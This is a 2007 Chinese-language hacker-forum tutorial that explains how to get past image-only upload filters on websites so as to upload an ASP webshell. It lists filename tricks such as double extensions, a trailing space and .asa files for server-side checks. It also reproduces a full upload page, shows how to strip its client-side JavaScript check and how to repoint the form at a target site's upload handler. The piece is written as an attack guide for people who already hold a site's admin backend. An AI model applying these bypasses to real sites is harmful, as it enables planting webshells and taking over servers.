| 网站首页 | 资讯 | Hack | 漏洞 | 网管 | 编程 | 培训 | 品黑页 | 软件 | 论坛 | 动画 | 视频 | 经典 | 教学站 | 黑客点睛 | 
服务导航 我要发布 主力频道 空间域名 精华收集 服务器出租 黑客培训 光盘刻录 特色服务 解决方案 我要投诉
您现在的位置: 华夏黑客同盟 >> Hack >> 脚本漏洞攻击 >> 正文 用户登录 新用户注册
突破限制           ★★★ 【字体:
突破限制
作者:伤心的鱼 文章来源:脚本安全小组 点击数: 更新时间:2007-6-29
以前写的文章~~  这里都是高手~`~ 太垃圾的不敢拿出来`` 大家莫笑话俺


很多菜鸟朋友在得到后台后,经常会遇到一些只允许上传图片格式的站,一般人想到的方法,就是上传个图片的ASP马,抓包上传,或者数据库备份来得到webshell,其实,有时候我们可以不必这么麻烦的。
      一般在上传的过程中,页面会分两种情况。
第一:提交验证,就是在我们上传是,提交我们上传的文件进行验证,如果发现不是图片格式的,就会报个错。
第二:本地验证,就是在上传的页面中,直接嵌套JAVA脚本进行验证,从而判断是否是图片格式的文件。
      对于第一种方法:大家可以稍微做下欺骗,例如ASP马.jpg.asp      或者ASP.asp (这里有个空格) 记着,后面+个空格,这样来进行欺骗的。再或者,传个ASA文件,有时候,还是可以突破的。
      OK,讲第二种,本文重点:
      对于本地的限制的,也就是说,提交页面的验证,本身就在这个提交页里,那么,我们就可以对其进行修改,来达到限制。先看个代码:
 
以下是代码片段:
Copy code
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>图片上传系统</title>
<script language="JavaScript">
<!--
//检查上传物件 checkFileUpload(表单名称,档案类型,是否需要上传,档案大小,图片最小宽度,图片最小高度,图片最大宽度,图片最大高度,储存宽度的表单名称,储存高度的表单名称)
function checkFileUpload(form,extensions,requireUpload,sizeLimit,minWidth,minHeight,maxWidth,maxHeight,saveWidth,saveHeight) {
      document.MM_returnValue = true;
      if (extensions != '') var re = new RegExp("\.(" + extensions.replace(/,/gi,"|") + ")$","i");
      for (var i = 0; i<form.elements.length; i++) {
        field = form.elements[i];
        if (field.type.toUpperCase() != 'FILE') continue;
        if (field.value == '') {
          if (requireUpload) {alert('请选取上传的档案!');document.MM_returnValue = false;field.focus();break;}
        } else {
          if(extensions != '' && !re.test(field.value)) {
            alert('这个档案不符合上传的类型!\n只有以下的类型才允许上传: ' + extensions + '。\n请依规定选取新的档案。');
            document.MM_returnValue = false;field.focus();break;
          }
        document.PU_uploadForm = form;
        re = new RegExp(".(gif|jpg|png|bmp|jpeg)$","i");
        if(re.test(field.value) && (sizeLimit != '' || minWidth != '' || minHeight != '' || maxWidth != '' || maxHeight != '' || saveWidth != '' || saveHeight != '')) {
          setTimeout('if (document.MM_returnValue) document.PU_uploadForm.submit()',500);
          checkImageDimensions(field.value,sizeLimit,minWidth,minHeight,maxWidth,maxHeight,saveWidth,saveHeight);
        } } }
}

function showImageDimensions() {
      if ((this.minWidth != '' && this.width > this.minWidth) || (this.minHeight != '' && this.height < this.minHeight)) {
        alert('您所上传的图片尺寸太小了!\n上传的图片大小至少要 ' + this.minWidth + ' x ' + this.minHeight); return;}
      if ((this.maxWidth != '' && this.width > this.maxWidth) || (this.maxHeight != '' && this.height > this.maxHeight)) {
        alert('您所上传的图片尺寸为 '+ this.width + ' x ' + this.height+' 太大了!\n上传的图片大小不可超过 ' + this.maxWidth + ' x ' + this.maxHeight); return;}
      if (this.sizeLimit != '' && this.fileSize/1000 > this.sizeLimit) {
        alert('您所上传的档案为 '+this.fileSize/1000+' KB太大了!\n最大不可超过 ' + this.sizeLimit + ' KB'); return;}
      if (this.saveWidth != '') document.PU_uploadForm[this.saveWidth].value = this.width;
      if (this.saveHeight != '') document.PU_uploadForm[this.saveHeight].value = this.height;
      document.MM_returnValue = true;
}

function checkImageDimensions(fileName,sizeLimit,minWidth,minHeight,maxWidth,maxHeight,saveWidth,saveHeight) { //v2.0
      document.MM_returnValue = false; var imgURL = 'file:///' + fileName, img = new Image();
      img.sizeLimit = sizeLimit; img.minWidth = minWidth; img.minHeight = minHeight; img.maxWidth = maxWidth; img.maxHeight = maxHeight;
      img.saveWidth = saveWidth; img.saveHeight = saveHeight;
      img.onload = showImageDimensions; img.src = imgURL;
}
//-->
</script>
<style type="text/css">
<!--
form {
margin: 0px;
}
.formword {
font-family: "Georgia", "Times New Roman", "Times", "serif";
font-size: 8pt;
}
-->
</style>
<style type="text/css">
<!--
.box {
border: 1px dotted #333333;
}
-->
</style>
</head>
<body bgcolor="#EEEEEE" text="#333333" leftmargin="2" topmargin="2" marginwidth="2" marginheight="2">
<script language="JavaScript" type="text/JavaScript">
var windowW = 400;
var windowH = 180;
windowX = Math.ceil( (window.screen.width      - windowW) / 2 );
windowY = Math.ceil( (window.screen.height - windowH) / 2 );
window.resizeTo( Math.ceil( windowW ) , Math.ceil( windowH ) );
window.moveTo( Math.ceil( windowX ) , Math.ceil( windowY ) );
</script>
<form ACTION="fupaction.asp" METHOD="POST" name="form1" enctype="multipart/form-data" onSubmit="checkFileUpload(this,'GIF,JPG,JPEG,PNG',true,'','','','','','','');return document.MM_returnValue">
      <table width="100%" height="100%" border="0" cellpadding="4" cellspacing="0">
        <tr>
          <td height="20"><table width="100%" border="0" cellpadding="4" cellspacing="0" bgcolor="#999999">
              <tr valign="baseline" class="formword">
                <td width="40" align="right"><font color="#FFFFFF">注意:</font></td>
                <td><font color="#FFFFFF"> 请选取图片上传,允许类型为GIF、JPG、JPEG、PNG
 
        。</font></td>
              </tr>
            </table>
       
          </td>
        </tr>
        <tr>
          <td height="20" align="center">
            <table border="0" cellpadding="4" cellspacing="0">
              <tr>
                <td><input name="upfile" type="file" class="formword" id="upfile" size="40"></td>
              </tr>
            </table>
            <input name="Submit" type="submit" class="formword" value="开始上传"> <input name="close" type="button" class="formword" onClick="window.close();" value="关闭视窗">
            <input name="useForm" type="hidden" id="useForm" value="form1">
            <input name="upUrl" type="hidden" id="upUrl" value="../images">
            <input name="prevImg" type="hidden" id="prevImg" value="showImg">
            <input name="reItem" type="hidden" id="reItem" value="rePic">
          </td>
        </tr>
        <tr>
          <td height="20" align="center">
            <table width="100%" border="0" cellpadding="4" cellspacing="0" bgcolor="#FFFFFF" class="box">
              <tr valign="baseline" class="formword">
                <td align="center"> Copyright © 2003 <a href="http://www.e-dreamer.idv.tw" target="_blank">eDreamer</a>
                  Inc. All rights reserved.</td>
              </tr>
            </table> </td>
        </tr>
      </table>
      </form>
</body>
</html>

        
        看到了么,这里直接调用了个JavaScript 脚本来进行验证(可能有些朋友看不懂,没关系。我讲简单些),我们只要把<script language="JavaScript"> 一直到</script>之间的脚本删除掉就可以了,然后保存在本地。问题又出来了:如果存在本地,那我们提交的话,如何提交到站上去呢?很简单:
     
   
以下是代码片段:
Copy code
<form ACTION="fupaction.asp" METHOD="POST" name="form1" enctype="multipart/form-data" onSubmit="checkFileUpload(this,'GIF,JPG,JPEG,PNG',true,'','','','','','','');return document.MM_returnValue">
      <table width="100%" height="100%" border="0" cellpadding="4" cellspacing="0">
        <tr>
          <td height="20"><table width="100%" border="0" cellpadding="4" cellspacing="0" bgcolor="#999999">
              <tr valign="baseline" class="formword">
                <td width="40" align="right"><font color="#FFFFFF">注意:</font></td>
                <td><font color="#FFFFFF"> 请选取图片上传,允许类型为GIF、JPG、JPEG、PNG
 
        。</font></td>
              </tr>
            </table>
       
          </td>
        </tr>
        <tr>
          <td height="20" align="center">
            <table border="0" cellpadding="4" cellspacing="0">
              <tr>
                <td><input name="upfile" type="file" class="formword" id="upfile" size="40"></td>
              </tr>
            </table>
            <input name="Submit" type="submit" class="formword" value="开始上传"> <input name="close" type="button" class="formword" onClick="window.close();" value="关闭视窗">
            <input name="useForm" type="hidden" id="useForm" value="form1">
            <input name="upUrl" type="hidden" id="upUrl" value="../images">
            <input name="prevImg" type="hidden" id="prevImg" value="showImg">
            <input name="reItem" type="hidden" id="reItem" value="rePic">
          </td>
        </tr>
        <tr>
          <td height="20" align="center">
            <table width="100%" border="0" cellpadding="4" cellspacing="0" bgcolor="#FFFFFF" class="box">
              <tr valign="baseline" class="formword">
                <td align="center"> Copyright © 2003 <a href="http://www.e-dreamer.idv.tw" target="_blank">eDreamer</a>
                  Inc. All rights reserved.</td>
              </tr>
            </table> </td>
        </tr>
      </table>
      </form>
</body>
</html>

      
        这里是把脚本删除后剩下的代码,看到开头的:<form ACTION="fupaction.asp"了么,fupaction.asp 这个就是提交页面,我们只要把这个页面的URL地址换上就可以了,比如URL是:www.dwqdqqq.com/manager/fupaction.asp 我们就换成ACTION="www.dwqdqqq.com/manager/fupaction.asp"
这样,就突破了限制,可以提交ASP马了。

      当然,这种情况不是时有发生,但是,咱们得善于观察。对于没无从下手的朋友,这方法还是


不错的。

      OK,就写这么多了。
责任编辑:郭瑞  联系方式  Email:郭瑞
电话:51228163
  • 上一篇黑客:

  • 下一篇黑客:
  • (只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    姓 名:
    * 游客填写  ·注册用户
    主 页:
    评 分:
    1分 2分 3分 4分 5分
    评论内容:
    验证码: *
  • 请遵守《互联网电子公告服务管理规定》及中华人民共和国其他各项有关法律法规。
  • 严禁发表危害国家安全、损害国家利益、破坏民族团结、破坏国家宗教政策、破坏社会稳定、侮辱、诽谤、教唆、淫秽等内容的评论 。
  • 用户需对自己在使用本站服务过程中的行为承担法律责任(直接或间接导致的)。
  • 本站管理员有权保留或删除评论内容。
  • 评论内容只代表网友个人观点,与本网站立场无关。
  • 最新hack更新
    最新推荐资讯
    相关黑客
    脚本注入如何绕过限制
    Windows 密码轻易突破
    Guest权限突破8法(整理)
    内网渗透如何打开突破口
    突破企业员工电脑密码
    SockOnline破端口限制
    破解ISP限制多机上网
    低级检测实现文件隐藏
    SQL注入限制一点想法
    突破企业员工电脑密码
    最新会员软件
    最新推荐视频
    最新推荐动画

    Copyright @ 2005 77169.Net Inc. All rights reserved. 华夏黑客同盟 版权所有
    北京市电信通提供网络带宽

    mailto:webmaster@77169.net
    咨询QQ号:836982 / 59280880
    联系站长 QQ38588913
    热线电话: 86-10-67634029/676229433
    京ICP证041431号